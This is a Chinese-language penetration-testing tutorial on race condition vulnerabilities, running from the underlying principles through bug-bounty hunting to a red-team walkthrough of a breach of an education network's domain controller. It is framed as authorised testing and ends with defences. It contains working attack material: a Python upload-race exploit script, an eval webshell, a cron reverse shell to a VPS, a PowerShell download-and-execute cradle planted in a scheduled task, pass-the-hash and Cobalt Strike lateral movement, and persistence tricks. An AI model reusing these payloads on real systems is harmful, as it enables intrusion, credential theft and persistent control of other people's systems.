条件竞争漏洞全解析:从原理到突破
条件竞争漏洞全解析:从原理到红队内网突破(含 SRC 挖掘、工具链与护网实战)
免责声明
- 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
- 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 “非法侵入计算机信息系统罪”、第 286 条 “破坏计算机信息系统罪”)及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
- 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
- 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
一、条件竞争漏洞核心原理:“并发操作的时序失控”
条件竞争漏洞(Race Condition)是指多个进程 / 线程 / 请求同时操作共享资源(如文件、数据库、内存变量)时,由于程序未设置有效的同步机制(如锁、原子操作),导致操作时序的不确定性被攻击者利用,触发非预期行为的漏洞。其本质是 “资源访问的原子性被破坏”—— 程序假设操作会按 “检查→执行” 的顺序完成,但攻击者通过并发请求打破这种顺序,在 “检查” 与 “执行” 之间的时间窗口(通常毫秒级)插入恶意操作,最终绕过限制或获取权限。
1. 漏洞产生的核心场景
条件竞争的触发依赖 “共享资源 + 并发操作 + 无同步控制” 三要素,以下为高频场景:
(1)文件操作类(最常见)
程序对文件的 “上传→验证→移动 / 删除” 流程未加锁,攻击者可在 “验证通过前” 或 “删除前” 访问文件:
- 文件上传:如 “先保存临时文件(
tmp123.php
)→验证文件合法性→合法则重命名为shell.php
,否则删除”。攻击者在 “保存后、验证 / 删除前” 的窗口期,通过高频请求访问tmp123.php
,执行恶意代码; - 文件删除:如 “检查文件所有者→验证通过则删除文件”。攻击者在 “检查通过后、删除前” 的窗口期,将文件替换为敏感文件(如
/etc/passwd
),导致敏感文件被删除。
(2)权限与状态修改类
程序对 “权限验证→状态修改” 的流程未同步,攻击者通过并发请求绕过权限限制:
- 水平越权:如 “检查用户 A 是否为文件所有者→允许 A 删除文件”。攻击者同时发送 “用户 A 删除请求” 和 “用户 B 修改文件所有者为 B 的请求”,若 “修改” 先于 “删除检查” 执行,B 可删除 A 的文件;
- 订单支付:如 “检查订单金额→扣减账户余额→标记订单为已支付”。攻击者并发发送 “支付请求” 和 “修改订单金额为 0 的请求”,若 “修改” 先于 “扣减” 执行,可 0 元购买商品。
(3)数据库操作类
多线程并发读写数据库时,未使用事务或行锁,导致数据不一致被利用:
- 库存超卖:如 “查询商品库存→库存> 0 则扣减 1→生成订单”。高并发请求下,多个线程同时读到 “库存 = 1”,均执行扣减,导致库存变为 - 1(超卖);
- 金额篡改:如 “查询账户余额→余额足够则转账→更新余额”。攻击者并发发送 “转账请求” 和 “充值请求”,若 “充值” 后的数据未被 “转账” 线程读取,可绕过余额限制完成转账。
2. 漏洞危害:从绕过限制到服务器受控
条件竞争的危害随场景不同差异较大,核心危害包括:
- 文件上传绕过:突破文件类型限制,上传 webshell 获取服务器权限;
- 权限越权:横向 / 垂直越权访问 / 修改敏感数据(如用户信息、订单);
- 业务逻辑破坏:如支付金额篡改、库存超卖、优惠券滥用;
- 敏感文件操作:删除 / 替换系统文件(如
/etc/sudoers
)、数据库文件,导致系统崩溃或权限提升。
3. 与其他漏洞的关联(攻击链价值)
条件竞争常作为 “突破防御的跳板”,与其他漏洞结合形成攻击链:
- 条件竞争 + 文件上传:突破文件类型验证,上传 webshell(最经典组合);
- 条件竞争 + 权限漏洞:通过并发操作放大越权影响(如从 “单文件越权” 扩展到 “批量数据篡改”);
- 条件竞争 + 提权:上传的 webshell 通过竞争替换
/etc/crontab
,实现定时任务提权。
二、SRC 中快速挖掘条件竞争漏洞:实战流程
SRC 中条件竞争的挖掘核心是 “定位高风险并发场景→构造并发请求→验证非预期结果”,需聚焦 “文件操作、权限修改、支付流程” 三大场景,按以下步骤高效落地:
1. 第一步:定位潜在竞争点(优先测试场景)
条件竞争仅存在于 “多用户 / 多请求并发操作同一资源” 的功能,按风险优先级排序,优先测试:
功能类型 | 典型场景 | 关键特征 |
---|---|---|
文件上传 / 处理 | 头像上传、附件上传、文件转换(如 PDF 转 Word) | 存在 “临时文件”“验证后重命名” 逻辑(如响应中含tmp 前缀文件名) |
文件删除 / 替换 | 缓存清理、日志删除、文件更新 | 操作前有 “权限检查”“存在性检查” 步骤 |
支付 / 订单系统 | 下单、支付、退款、优惠券使用 | 涉及 “金额校验→状态修改” 的流程,且高并发场景常见 |
权限管理 | 角色变更、资源授权、密码修改 | 操作依赖 “当前权限验证”,且可被并发请求干扰 |
定位方法:
- 遍历网站功能,记录所有含 “上传”“删除”“支付”“权限修改” 的操作;
- 分析操作流程:通过 Burp 拦截请求,观察是否存在 “临时文件生成→验证→最终处理” 的多步逻辑(如上传后返回
tmp_xxx.jpg
,验证通过后变为xxx.jpg
); - 结合业务场景判断:教育类 SRC 关注 “成绩上传 / 修改”,电商类关注 “支付 / 订单”,企业类关注 “文件管理系统”。
2. 第二步:构造并发请求验证漏洞(核心步骤)
找到潜在竞争点后,需通过 “高频并发请求 + 时序控制” 验证是否存在可利用的时间窗口:
(1)文件上传类竞争验证
原理:利用 “临时文件存在但未被验证 / 删除” 的窗口,访问临时文件执行恶意代码。
测试步骤:
-
分析上传流程:
上传
shell.php
,通过 Burp 观察响应:若返回 “文件类型不允许”,但在响应包或日志中发现临时文件路径(如/upload/tmp_123.php
)→存在临时文件机制,可能存在竞争; -
构造并发请求:
- 用 Burp Intruder 同时发送两个请求组:
- 组 1:重复上传
shell.php
(触发临时文件生成); - 组 2:高频访问临时文件路径(
/upload/tmp_123.php
);
- 组 1:重复上传
- 配置 Intruder 为 “Pitchfork” 模式,线程数设为 50+,确保请求密集覆盖时间窗口;
- 用 Burp Intruder 同时发送两个请求组:
-
验证结果:
若组 2 的部分请求返回
shell.php
的执行结果(如phpinfo()
)→证明条件竞争存在,可利用临时文件执行代码。
(2)权限修改类竞争验证
原理:利用 “权限检查通过但状态未更新” 的窗口,执行越权操作。
测试步骤:
-
分析权限流程:
以 “用户 A 删除自己的文件
file.txt
” 为例,拦截请求发现流程为:POST /delete HTTP/1.1
→服务器检查 “file.txt
所有者是否为 A”→通过则删除; -
构造并发请求:
- 准备两个请求:
- 请求 1:用户 A 发送删除
file.txt
的请求; - 请求 2:用户 B 发送修改
file.txt
所有者为 B 的请求(假设 B 有修改权限);
- 请求 1:用户 A 发送删除
- 用多线程工具(如 Python threading)同时发送两个请求,重复 100 + 次;
- 准备两个请求:
-
验证结果:
若
file.txt
被删除,且日志显示 “删除者为 A” 但 “删除时所有者为 B”→证明竞争存在,B 通过并发操作让 A 删除了 B 的文件(水平越权)。
(3)支付类竞争验证
原理:利用 “金额检查通过但扣减未完成” 的窗口,篡改金额实现低价 / 免费购买。
测试步骤:
-
分析支付流程:
购买商品时,拦截请求发现流程为:
POST /pay HTTP/1.1
(携带订单 ID 和金额)→服务器检查 “订单金额是否为 100 元”→扣减账户 100 元→标记订单为已支付; -
构造并发请求:
- 准备两个请求:
- 请求 1:正常支付请求(金额 100 元);
- 请求 2:篡改金额为 1 元的支付请求(订单 ID 相同);
- 用 Burp Intruder 高频并发发送,确保两个请求几乎同时到达服务器;
- 准备两个请求:
-
验证结果:
若订单被标记为 “已支付”,但账户仅扣减 1 元→证明竞争存在,成功绕过金额验证。
3. 第三步:证明漏洞危害(SRC 提交核心依据)
条件竞争漏洞的危害需通过 “实际影响” 证明,不同场景的证明方式不同:
- 文件上传类:提交 “并发请求成功执行
phpinfo()
的截图”+“临时文件路径与上传请求的关联证明”; - 权限越权类:提交 “越权操作前后的数据对比截图”(如 B 成功删除 A 的文件)+“并发请求日志”;
- 支付类:提交 “0 元购买成功的订单截图”+“账户余额扣减记录”(需注意:禁止实际支付,仅用测试环境验证)。
三、条件竞争漏洞利用工具链:从并发请求到权限控制
红队利用条件竞争的工具需覆盖 “并发请求构造→时序控制→漏洞利用→权限提升” 全流程,以下为核心工具及实战用法:
1. 并发请求构造工具
(1)Burp Suite Intruder(最常用)
功能:通过多线程发送高频请求,覆盖时间窗口,适合文件上传、权限修改等场景。
实战配置(文件上传竞争):
- 拦截上传请求(如
POST /upload
,文件为shell.php
)和访问临时文件请求(如GET /upload/tmp_123.php
); - 打开 Intruder,将两个请求加入 “Payload Sets”,模式选择 “Pitchfork”(并行发送两组请求);
- 配置线程数:在 “Resource Pool” 中设置线程数为 50-100(根据目标抗压能力调整);
- 取消 “Payload Encoding”(避免特殊字符被编码),点击 “Start Attack”;
- 观察攻击结果:若
GET
请求的响应码为 200 且包含phpinfo()
内容→攻击成功。
(2)Python 多线程脚本(灵活定制)
功能:自定义并发逻辑,适合复杂场景(如带会话验证、多步骤竞争)。
实战脚本(文件上传竞争示例):
import requests
import threading
import time# 目标信息
upload_url = "http://target.com/upload"
access_url = "http://target.com/upload/tmp_{}.php" # 临时文件路径模板
session = requests.Session()
session.cookies.set("PHPSESSID", "your_session_id") # 携带会话# 上传恶意文件的函数
def upload_file():while True:files = {"file": ("shell.php", "<?php phpinfo(); ?>", "application/octet-stream")}response = session.post(upload_url, files=files)# 从响应中提取临时文件名(假设响应含"tmp_123.php")if "tmp_" in response.text:tmp_name = response.text.split("tmp_")[1].split(".php")[0]print(f"获取临时文件:tmp_{tmp_name}.php")return tmp_name# 访问临时文件的函数
def access_file(tmp_name):while True:url = access_url.format(tmp_name)response = session.get(url)if "phpinfo()" in response.text:print(f"成功执行!URL: {url}")exit() # 成功后退出if __name__ == "__main__":# 先上传获取临时文件名tmp_name = upload_file()# 启动10个线程并发访问for i in range(10):t = threading.Thread(target=access_file, args=(tmp_name,))t.daemon = Truet.start()# 持续上传维持临时文件存在while True:upload_file()time.sleep(0.1) # 控制上传频率
使用方法:替换upload_url
、access_url
和会话 ID,运行脚本,若控制台输出 “成功执行”→利用成功。
(3)RaceTheWeb(专门针对条件竞争)
功能:自动化检测文件上传类条件竞争,生成并发请求并监控结果。
实战命令:
# 安装RaceTheWeb
git clone https://github.com/evait-security/RaceTheWeb.git
cd RaceTheWeb# 配置目标(修改config.json)
{"target": "http://target.com","upload_endpoint": "/upload","file_param": "file","file_content": "<?php phpinfo(); ?>","tmp_file_pattern": "/upload/tmp_*.php", # 临时文件路径模板"threads": 50
}# 运行工具
python3 racetheweb.py --config config.json
输出解读:若显示 “[+] Successfully accessed tmp_123.php with code 200”→漏洞利用成功。
2. 权限提升与内网渗透工具
(1)通过条件竞争上传的 webshell + 蚁剑
功能:利用条件竞争上传 webshell 后,通过蚁剑管理权限,执行系统命令。
实战步骤:
- 用 Burp 或 Python 脚本通过条件竞争上传
shell.php
内容:
<?php @eval($_POST['ant']);?>)
- 蚁剑添加连接:URL 为临时文件路径(
http://target.com/upload/tmp_123.php
),密码ant
; - 连接成功后执行
whoami
→获取www-data
权限,进而浏览文件、执行提权命令。
(2)Cobalt Strike(内网横向移动)
功能:通过条件竞争上传的 webshell 植入 beacon,实现内网渗透与域控突破。
实战步骤:
- 在 Cobalt Strike 生成 PHP 类型 beacon(
payload.php
); - 通过条件竞争将
payload.php
上传至目标服务器,获取临时文件路径; - 访问临时文件触发 beacon 上线,进入 Cobalt Strike 会话;
- 执行
shell whoami
确认权限,使用portscan
扫描内网存活主机,psexec
横向移动至域控。
(3)提权工具(利用竞争替换系统文件)
功能:通过条件竞争替换/etc/sudoers
或计划任务文件,实现权限提升。
实战命令(Linux 替换 crontab):
# 1. 准备恶意计划任务文件(/tmp/cron,内容:* * * * * root bash -i >& /dev/tcp/VPS_IP/4444 0>&1)
# 2. 构造并发请求:同时发送“删除原有crontab”和“替换为恶意cron”的请求
# (通过Python多线程脚本实现,重复100+次)# 3. 攻击者VPS监听端口
nc -lvp 4444 # 接收root反弹shell
四、实战与护网中条件竞争漏洞的深度利用(从服务器到域控)
条件竞争在护网中的核心价值是 “突破常规防御的隐蔽入口”—— 由于漏洞依赖时序,传统 WAF 难以检测,红队可借此上传 webshell 或绕过权限控制,进而渗透内网。以下为完整攻击链案例:
案例:护网中利用文件上传条件竞争突破教育系统内网
环境背景
- 护网目标:某省级教育系统(DMZ 区→办公区→核心区);
- 突破点:DMZ 区 “教师资料上传系统”(
http://172.16.1.10/upload
)存在文件上传条件竞争; - 防护情况:系统部署 WAF 拦截
.php
文件,但对临时文件(tmp_*.dat
)未拦截; - 内网拓扑:DMZ 区可访问办公区(
192.168.1.0/24
),核心区有域控(10.0.0.1
)。
渗透步骤
阶段 1:利用条件竞争上传 webshell,突破 DMZ 区
-
分析上传流程:
上传
shell.php
时,WAF 拦截并返回 “不支持的文件类型”,但通过 Burp 发现服务器先保存为/upload/tmp_123.dat
,验证失败后删除(时间窗口约 50ms)。 -
构造并发请求:
用 Python 多线程脚本同时执行:
- 线程 1:持续上传
shell.php
(内容``),生成tmp_*.dat
; - 线程 2:高频访问
/upload/tmp_*.dat
(通过响应提取临时文件名)。
- 线程 1:持续上传
-
获取 webshell 权限:
约 30 秒后,线程 2 成功访问
tmp_456.dat
,请求?cmd=whoami
返回apache
→获取 DMZ 区 Web 权限。
阶段 2:内网信息收集与横向移动
-
探测内网存活主机:
通过 webshell 执行
cmd=ping -c 1 192.168.1.20
(办公区教务系统),确认存活;执行
cmd=nc -zv 10.0.0.1 389
,发现核心区域控开放 LDAP 服务。 -
上传 Cobalt Strike beacon:
生成
beacon.php
,通过条件竞争上传并触发上线,Cobalt Strike 获取会话;执行
run mimikatz
抓取apache
用户密码(edu@123
)。 -
PTH 横向至办公区:
利用
edu@123
的 NTLM 哈希,通过psexec
登录192.168.1.20
(教务系统,域成员主机):psexec.py -hashes :A1B2C3D4E5F6A7B8C9D0 edu\apache@192.168.1.20
阶段 3:突破核心区域控
-
域内信息收集:
在
192.168.1.20
执行net group "Domain Admins" /domain
,获取域管理员列表(admin@edu.com
);通过
BloodHound
分析域内信任关系,发现192.168.1.20
对域控有GenericAll
权限。 -
利用条件竞争替换域控计划任务:
在
192.168.1.20
上,通过条件竞争替换域控的C:\Windows\Tasks\sync.xml
(同步任务文件),植入恶意代码:<Task><Actions><Exec><Command>cmd.exe</Command><Arguments>/c powershell -nop -c "IEX (New-Object System.Net.WebClient).DownloadString('http://172.16.1.10/beacon.ps1')"</Arguments></Exec></Actions> </Task>
-
获取域控权限:
域控执行同步任务时触发 beacon 上线,Cobalt Strike 获取域控会话(
NT AUTHORITY\SYSTEM
),完成核心区突破。
护网中条件竞争的核心利用技巧
(1)绕过 WAF 与防御机制
- 文件命名混淆:上传文件命名为
shell.php;.jpg
(利用中间件解析漏洞),条件竞争时访问临时文件可被解析为 PHP; - 分块传输:将 webshell 分块上传(如
part1.php
+part2.php
),通过条件竞争在服务器端拼接为完整文件; - 时间窗口放大:通过 DoS 攻击降低服务器处理速度(如发送大量垃圾请求),延长 “检查→执行” 的时间窗口(从毫秒级增至秒级)。
(2)内网场景适配
- 利用内网高并发特性:教育系统、企业 OA 在高峰时段(如上班时间)并发请求多,服务器处理延迟高,条件竞争成功率提升;
- 结合内网服务漏洞:通过条件竞争上传的 webshell,利用
MS17-010
(永恒之蓝)攻击内网 Windows 主机,或CVE-2021-4034
(PwnKit)提权 Linux 主机。
(3)持久化控制
- Linux 持久化:通过条件竞争替换
/etc/rc.local
(开机启动脚本),植入反弹 shell 命令; - Windows 持久化:替换
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
下的快捷方式,指向恶意程序。
五、条件竞争漏洞的防御与红队绕过技巧
1. 蓝队核心防御措施(消除时间窗口)
(1)文件操作防御
- 原子操作:将 “保存→验证→移动 / 删除” 改为原子操作(如先在内存验证,通过后再写入磁盘,避免临时文件);
- 加锁机制:对临时文件加排他锁(如 Linux 的
flock
),确保同一时间只有一个进程操作; - 随机命名 + 不可执行权限:临时文件命名为随机字符串(如
tmp_8f2d7a9c.dat
),且上传目录设置为不可执行(chmod 644
)。
(2)权限与状态修改防御
- 事务机制:数据库操作使用事务(如 MySQL 的
BEGIN
→COMMIT
),确保 “检查→修改” 要么全执行,要么全不执行; - 版本控制:对关键数据(如订单金额、文件所有者)添加版本号,修改前验证版本号未变(防止并发修改);
- 串行化处理:对同一资源的并发请求排队处理(如用 Redis 队列),避免并行执行。
(3)业务逻辑防御
- 支付金额二次校验:支付时,服务器重新查询订单原始金额(而非信任客户端提交的金额),确保金额一致;
- 库存预扣减:下单时先预扣减库存(标记为 “锁定”),超时未支付则释放,避免超卖;
- 日志审计:记录关键操作的时序日志(如 “谁在何时修改了什么”),便于事后追溯竞争攻击。
2. 红队绕过技巧(对抗防御措施)
(1)绕过原子操作
- 利用系统特性:若程序使用 “内存验证→写入磁盘”,但验证逻辑存在漏洞(如仅检查文件头),可构造 “头部合法 + 尾部恶意” 的文件,通过条件竞争在写入磁盘后访问;
- 攻击临时目录:若程序将临时文件写入
/tmp
(Linux)或C:\Windows\Temp
(Windows),且这些目录可被其他用户访问,可通过竞争替换临时文件。
(2)绕过加锁机制
- 多进程竞争:若程序仅对单进程加锁(如 PHP 的
flock
在多进程环境下失效),通过多线程 + 多进程并发请求,突破单进程锁限制; - 锁超时利用:若锁设置了超时时间(如 100ms),通过高频请求在超时后立即访问,利用锁释放的窗口。
(3)绕过串行化处理
- 分布式竞争:若程序仅在单服务器上串行处理,但部署在多服务器(如负载均衡),可向不同服务器发送并发请求,利用服务器间的同步延迟;
- 长连接保持:通过
Keep-Alive
保持长连接,让多个请求处于 “待处理” 状态,当服务器资源耗尽时,串行队列失效,触发并行处理。
六、总结
条件竞争漏洞的本质是 “并发操作的时序失控”,其在红队渗透中的核心价值是 “突破常规防御的隐蔽入口”—— 由于依赖毫秒级时间窗口,传统 WAF 和静态扫描工具难以检测,成为红队在护网中突破防线的重要手段。
挖掘与利用的关键思维是 “场景适配 + 时序控制”:
- 识别层:聚焦文件上传、支付、权限修改等高并发场景,通过 Burp 分析流程中的 “多步操作”;
- 验证层:用 Burp Intruder 或 Python 多线程构造并发请求,覆盖时间窗口,验证非预期结果;
- 利用层:根据场景选择 “上传 webshell→提权” 或 “权限越权→数据篡改”,结合内网工具横向移动;
- 对抗层:针对蓝队的加锁、原子操作等防御,利用多进程、分布式请求绕过,放大时间窗口。
注意:所有测试需在合法授权下进行,条件竞争的高频请求可能对服务器造成 DoS 风险,需提前与目标方沟通,控制请求强度。未经授权的攻击均属违法,违反《网络安全法》及《刑法》第 285/286 条,需自行承担法律责任。